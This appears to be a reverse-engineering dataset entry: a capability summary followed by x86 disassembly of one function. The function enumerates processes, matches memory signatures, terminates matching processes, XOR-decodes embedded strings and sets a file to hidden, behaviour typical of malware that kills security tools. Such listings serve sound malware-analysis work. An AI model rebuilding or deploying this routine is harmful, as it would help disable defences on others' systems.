Function at 0x42a73d
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Set file attributes
Terminate process

Disassembly:
push 0x2ac
mov eax, 0x5835b2
call fcn.00560e5c
push 0
push 2
mov byte [ebp - 0x145], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0x160], ebx
cmp ebx, 0xffffffff
je 0x42ac13
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
push dword [ebp - 0x138]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x154], esi
test esi, esi
je 0x42abfe
mov ebx, 0x5cd29c
xor edi, edi
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x150], edi
lea eax, [ebp - 0x15c]
push eax
push 8
lea eax, [ebp - 0x18]
push eax
push dword [ebx - 4]
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x42abd3
cmp dword [ebp - 0x15c], 8
jne 0x42abd3
lea ecx, [ebp - 0x18]
mov eax, dword [ecx]
cmp eax, dword [ebx]
jne 0x42abd3
mov eax, dword [ecx + 4]
cmp eax, dword [ebx + 4]
jne 0x42abd3
push 0
push esi
mov byte [ebp - 0x145], 1
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x69882c], 1
jne 0x42a93b
mov dword [ebp - 0x144], 0x58fa7c
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42a882
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42a879
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42a858
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x2b8]
call fcn.00424676
and dword [ebp - 4], 0
mov dword [ebp - 0x144], 0x59127c
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42a8fe
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42a8f5
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42a8d4
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0x2b8]
push edi
push eax
call fcn.0042163d
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x2b8]
push eax
call fcn.0042163d
add esp, 0x10
lea ecx, [ebp - 0x2b8]
call fcn.004251dc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2b8]
call fcn.004247cb
cmp dword [0x69883c], 1
jne 0x42ab98
lea eax, [ebp - 0x168]
push eax
call fcn.005660ac
lea eax, [ebp - 0x168]
push eax
call fcn.00565e0d
mov dword [ebp - 0x144], 0x58fac8
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
pop ecx
add edi, 0x14
mov dword [ebp - 0x158], eax
cmp byte [ebx + 0x13], 0
pop ecx
je 0x42a9ce
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42a9c5
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42a9a4
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
xor ebx, ebx
lea ecx, [ebp - 0x210]
inc ebx
push ebx
push 0x40
push 8
push edi
call fcn.00424676
mov dword [ebp - 0x144], 0x58fae0
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42aa4b
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42aa42
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42aa21
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0x210]
push edi
push eax
call fcn.0042163d
push dword [ebp - 0x158]
call fcn.00565c00
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0042163d
mov dword [ebp - 0x144], 0x5912a0
add esp, 0x14
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42aad9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42aad0
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42aaaf
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0x210]
push edi
push eax
call fcn.0042163d
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0042163d
mov dword [ebp - 0x144], 0x58fb28
add esp, 0x10
mov ebx, dword [ebp - 0x144]
mov edi, dword [ebp - 0x144]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42ab62
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
mov edx, eax
xor eax, eax
mov dword [ebp - 0x144], eax
pop ecx
test esi, esi
je 0x42ab59
sub edi, edx
lea ecx, [eax + edx]
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp eax, dword [ebx + 0xf]
jb 0x42ab38
mov eax, dword [ebx + 0xf]
mov edi, edx
mov byte [edx + eax], 0
lea eax, [ebp - 0x210]
push edi
push eax
call fcn.0042163d
pop ecx
pop ecx
lea ecx, [ebp - 0x210]
call fcn.004251dc
push 2
push 0x5912c4
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x210]
call fcn.004247cb
mov eax, dword [0x698830]
cmp eax, 1
je 0x42acea
cmp eax, 2
je 0x42acde
cmp eax, 3
je 0x42acbb
cmp eax, 4
je 0x42ac2e
test eax, eax
je 0x42ac26
mov ebx, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x154]
mov edi, dword [ebp - 0x150]
add edi, 0xc
add ebx, 0xc
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x14c], ebx
cmp edi, 0xbc4
jb 0x42a7ba
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x160]
lea eax, [ebp - 0x140]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x42a784
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x145]
call fcn.00560e1a
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
push eax
push eax
push eax
push 0x4299be
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x14c], 0x5912c8
mov ebx, dword [ebp - 0x14c]
mov edi, dword [ebp - 0x14c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42aca1
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call fcn.00565205
pop ecx
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x14c], ecx
test esi, esi
je 0x42ac98
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
inc edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x14c]
cmp edx, dword [ebx + 0xf]
jb 0x42ac7c
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200010
push edi
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x42ac26
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x431a24
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
jmp 0x42ac28
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x42acf6
jmp 0x42acc5
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x42ad6e
jmp 0x42acc5